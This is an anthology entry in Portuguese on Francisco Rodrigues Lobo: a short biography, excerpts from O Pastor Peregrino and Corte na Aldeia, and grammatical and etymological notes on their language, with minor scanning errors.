FRANCISCO RODRIGUES LOBO, natural de Leiria, nasceu em data incerta e morreu afogado no Tejo, entre 1624 e 1627. Nunca figurou na vida pública; mas nas letras granjeou renome como autor de composições bucólicas, que o fizeram cognominar o Teócrito Português; de um poema heróico, O Condestabre, que merecidamente caiu no olvido; e de uma obra dialogada sobre assuntos de moral e crítica literária, Corte na Aldeia e Noites de Inverno. Pela pureza de linguagem sentenciam os competentes que êle é digno de ombrear com os principais clássicos; e a própria severidade do Sr. Teófilo Braga, que por enfadonhas condena as pastorais, admira o senso artístico predominante nas poesias em que foi respeitado o sentimento tradicional.
Contente com a Sorte
Há mais de sessenta anos que nasci detrás daquele penedo, que daqui aparece ao alto da serra; e de então até agora, nem vi mais terra que a que dele se descobre, nem desejei outras de quantas ouvi gabar a meus naturais; (394) nunca tive de meu outro bem maior que não desejar os alheios, nem outro mal que me desse mais cuidado que as ocasiões, que o tempo me ofereceu, de poder possuir o que os homens estimam e sentem tanto perder, como são enganos.
Sou tão pobre do que a fortuna (395) reparte, que, cada hora que quiser tomar conta de tantos anos, lhe não ficarei devendo nem um desejo; vivo de guardar gado de outros donos; sou fiel em o tratar, diligente no pasto e remédio dele; rico com a parte que me cabe de sua lã e de seu leite, porque dela me visto, e dele me sustento; nem quando os frutos são poucos me lastimo, nem quando as novidades são maiores me alvoroço.
Contenta-me o bem; não me assombra o mal. Tenho uma cabana em que vivo, feita por minha própria mão das árvores destas brenhas; não acharás dentro coisa que deva direitos à vaidade: tudo são instrumentos (396) necessários ao meu ofício de guardador; e, se alguma coisa sobeja, será das que ainda são mais importantes para a vida; daqui me levanto contente, e aqui me recolho descansado; porque nem acordo com os pensamentos na ventura, nem adormeço com eles repartidos em bens que ennganam, e males que os homens escolhem de seu grado.
(397), De noite qualquer estrela que vejo, é a minha, porque todas favorecem o meu estado. De dia sempre o sol me aparece de uma côr, porque o vejo com os olhos livres.
Tenho este instrumento, a cujo som canto; quando é bem, me alegro, porque canto para me alegrar; e quando pelo con-trário, me não pesa muito, porque o não faço para alegrar a outrem.
Quando há frio e neve na serra, também há lenha nestes montes e fogo nestas pedras, com que me defendo; quando a calma (398) é grande, com o abrigo destas árvores e vizinhança daquelas fontes me recreio. Assim são os meus manjares, (399) como é minha vida; nem ela me pede os que me façam danos, item eu os tenho.
O meu vestido é sempre desta côr, porque, em qualquer coisa, ainda de menos quantia, é a mudança perigosa. O maior Irabalho que tenho, é os pastores com quem trato, porque cada um tem uma vontade e um entendimento, e eu me hei de servir só do meu para com todos; porém de tal maneira uso dele, que se me não dá (400) do sucesso que pode acontecer.
Ao avarento não lhe peço nada, nem lhe aconselho que dê a outrem, nem lhe louvo o não dar nada a ninguém, e assim não lhe minto nem o molesto. Ao soberbo não me faço grande, por não ficar com êle em contenda; nem aos outros pequeno porque (401) com eles se não alevante mais. Ao ingrato, ou o não sirvo, porque me não magoe, ou, quando o sirvo, lembro-me que a sua má natureza não pode tirar o preço à obra que de si é boa. Ao falador calo-me; ao calado descubro-me com tento. (402). Ao doido não lhe atalho a fúria. Ao néscio não trabalho por lhe dar razão. Ao pobre não lhe devo. Ao rico não lhe peço. Ao vão nem o gabo, nem o repreendo. Ao lisonjeiro não no creio, e deste modo com todos estou bem e nenhum me faz mal. Não digo verdades que amarguem, nem tenho amizades que me profanem; não adquiro fazendas que outros me invejem, porque, neste tempo, das melhores três coisas dele nascem, as mais danosas que há no mundo: da verdade, ódio; da conversação, desprezo; da prosperidade, inveja.
Sou qual me vês, e qual te eu digo. Não quero parecer outro, nem ser mais do que pareço. Venho muitas vezes a esta fonte, que me pegou sua condição: fala verdade a todos, e com nenhum tem diferença. Costumei-me a estas suas águas, que, ainda que amargosas, (403), são saudáveis, apagam peçonha, desfazem feitiços e valem contra mordeduras de bicha. (404). Se nisto que me ouviste, achas alguma coisa que te contente e queres vir comigo, pois é já tarde, te hospedarei na minha cabana, na qual podes entrar sem temor, dormir sem perigo, e sair sem saudade. Comerás do leite, ouvirás dos contos (405) e partirás quando quiseres.
(O Pastor Peregrino, p. 20). Trecho da Obra de FRANCISCO RODRIGUES LOBO,
Sobre a Língua Portuguesa
— Uma coisa vos confessarei eu, Sr. Leonardo, disse a isto D. Júlio, que os Portugueses são homens de ruim língua, e que também o mostram em dizerem mal da sua, que assim na suavidade da pronunciação como na gravidade e composição das palavras é língua excelente. Mas há alguns néscios que não basta que a falem mal, senão que se querem mostrar discretos, dizendo mal dela; e o que me vinga de sua ignorância é que eles acreditam a sua opinião, e os que falam bem desacreditam a ela e a eles.
— Bravamente é apaixonado o Sr. D. Júlio, acudiu o doutor, pelas coisas da nossa pátria; e tem razão, que é dívida que os nobres devem pagar com mais pontualidade à terra que os criou. E verdadeiramente que (406) não tenho a nossa língua por grosseira, nem por bons os argumentos com que alguns querem provar que é essa; antes é branda para deleitar, grave para engrandecer, eficaz para mover, doce para pronunciar, breve para resolver, acomodada às matérias mais importantes da prática e escritura. Para falar é engraçada, (407) com um modo senhoril; para cantar é suave, com um certo sentimento (408) que favorece a música; para pregar é substanciosa, com uma gravidade que autoriza as razões e as sentenças; para escrever cartas nem tem infinita cópia (409) que dane, nem brevidade estéril que a limite; para histórias nem é tão florida que se derrame, nem tão seca que busque o favor das alheias. A pronun-ciação não obriga a ferir o céu da boca com aspereza, nem arrancar as palavras com veemência do gargalo. (410).
Escreve-se da maneira que se lê, e assim se fala. (411). Tem de todas as línguas o melhor: a pronunciação da latina, a origem da grega, a familiaridade da castelhana, a brandura da francesa e a elegância da italiana. Tem mais adágios e sentenças que todas as vulgares, em fé da sua antiguidade. E, se à língua hebréia pela honestidade das palavras chamaram santa, certo que não sei eu outra que tanto fuja de palavras claras em matéria descomposta quanto a nossa. E para que diga tudo, só um mal tem, e é que, pelo pouco que lhe querem (412) seus naturais, a trazem mais remendada que capa de pedinte.
(Corte na Aldeia, Diálogo I).Trecho da Obra de FRANCISCO RODRIGUES LOBO,
Notas
- (394) quantas ouvi gabar a meus naturais = quantas ouvi serem gabadas pelos meus naturais. É a voz passiva pelo infinitivo, tendo excepcionalmente claro o agente verbal, que aí está iniciado pela prepos. a.
- (395) a fortuna = a sorte, o destino; fortuna com o sentido de riqueza, é galicismo, já muito empregado.
- (396) tudo são instrumentos. — Concordância do verbo ser com o predicativo, no plural; o que torna a frase mais acomodada e aceitável. "Eram tudo memórias de alegria". (Lus., III, 121); "Tudo eram trevas, tudo horror e medo". (Castro, Ulisséia, VI, 101). Mas, não só com o pronome tudo, e outros neutros, senão com qualquer construção, torna-se mais agradável o verbo no plural: "A matéria dos cometas são os vapores ou exalações da terra". (Vieira, Sermão dos Bons Anos, § 1); "A perfeição desatada são infinitas virtudes"… (íd.,);’"’O teatro são eles". (Rui. O Direito da Vaia). Pode, contudo, o verbo permanecer no singular, como se vê neste mesmo trecho: "O maior trabalho que tenho é os pastores com quem trato".
- (397) grado — vontade; de bom grado = de boa vontade. Talante significa também vontade, arbítrio: a seu talante.
- (398) calma — calor; do gr. kaúma, pelo lat. caitma, tomado ao ital. calma, em que se dá a consonantização do •—■ u — em — /. Deriv.: calmoso (tempo, dia calmoso); calmaria (grande calor, sem vento, no mar ou mesmo em terra).
- (399) manjar, do fr. manger (lat. manducare) é vocábulo já fixado em nossa língua, desde o início de sua disciplina. Em Os Lusíadas: "Ali com mil refrescos e manjares"… (IX, 41). E mais uma dezena de vezes no poema.
- (400) se me não dá do sucesso — Dar-se-lhe de ou dar-lhe de — importar, interessar. "Vivas tu de mim segura; / do mundo que se me dá?" (Castilho, ap. Laudelino e Campos — Dicion., p. 1695, 2.a coi.); "Que venha do Calvário, / de Benfica ou de Almada, a mim que me dá disso?" (Id., As Sabichonas, ato II, cena VI); …"bem pouco se me dava"… (Rui, Hépl., conclusão, p. 596). Nos Novos Estudos de M. Barreto, 2.a ed., pp. 445-446, reúnem-se várias abonações, que convém ver.
- (401) por e porque = para e Ainda do mesmo autor: "Come o que a terra te der, / que não te há de falecer / do leite, da água e do pão". (Êglog. 3.a, w. 182-184).
- para que.
- (402) com tento = com cuidado, com atenção, com cautela ou prevenção; equivalente à loc. a tento, menos usada. Tento é tino, juízo, prudência, atenção; vem de tentu — p. pass. passivo do v. tenére. Nada tem com tento, peça com que se marcam pontos no jogo, oriundo de tatentu…
- (403) amargosas — O sut. oso junta-se a substantivos para formar adjetivos. As vezes, porém apõe-se a outro adjetivo, como se vê aqui; amargoso, de amargo (lat. *amaricus por amarus). Casos semelhantes: sonoroso, gravoso; falacioso e audacioso (por influxo francês); sequioso, faustoso, murmuroso, murchoso, ufanoso, soberboso (Rui) etc.
- (404) bicha = cobra, víbora, como biscia no ital.
- (405) Comerás do leite e ouvirás dos contos: de — partitivo.
- (406) É verdadeiramente que… V. n. 143.
- (407) engraçada = cheia de graça, atraente, expressiva. V. n. 201.
- (408) com um certo sentimento — os adjetivos certo, tal, outro, naturalmente dispensam o indefinido um a precedê-los. O francês é que diz un certain, un tel, un autre. Entretanto, esse deslize da boa linguagem está muito generalizado e os melhores escritores nele incidem.
- (409) infinita cópia — Cópia é o próprio lat. copia, ae. Significa abundância, grande quantidade. Daí copioso = farto, abundante’, e deste, copiosidade, que Rui empregou {"copiosidades e longuras") na conferência A imprensa e o dever da verdade, p. 11. Opimo e opulento, ambos com a idéia de abundância, têm a mesma raiz — op — de cópia {cum + ops). E o v. copiar deriva-se de cópia, abundância, porque "da expressão copiam faceré scripti, espalhar um manuscrito, reprodu-zindo-o grande número de vezes, veio o sentido restrito de cópia". (Nascentes, Dicion. Etimol., s. v.)
- (410) gargalo =a garganta; é a mesma raiz dc gargalhar, gargarejar, gárgula etc.
- (411) Escreve-se da maneira que se lê, e assim se fala. — O terceiro desses verbos é intransitivo e os dois primeiros estão intransitivados: e pois, o — se — representa a indeterminação do sujeito. Se dermos objeto direto aos dois primeiros e transitivarmos o último, teremos o — se — apassivador: Escreve-se a língua da maneira que se lê (a língua), e assim se fala (a língua) ou, com a passiva analítica: a língua é escrita como é lida e assim é falada.
- (412) que lhe querem — Querer no sentido de desejar pede objeto direto: "Ou se queres luzente pedraria". (Lus., II, 4); no sentido de querer bem ou mal a alguém e, com predomínio do melhor, significando tão somente prezar, estimar, acatar (querer bem), junta-se-lhe objeto indireto: "Querendo com amor ao idioma". (Rui, Répl., 255). O seguinte conceito do mesmo Rui (Osv. Cruz, p. 5) põe lado a lado, em ótima lição, os dois valores semânticos: "Chefe de idéias" — como por irrisão me chamaram, convencido estou, já hoje, de que acabarei sem que as minhas tenham o seu dia, porque a minha Pátria ainda as não quis nem lhes quer".
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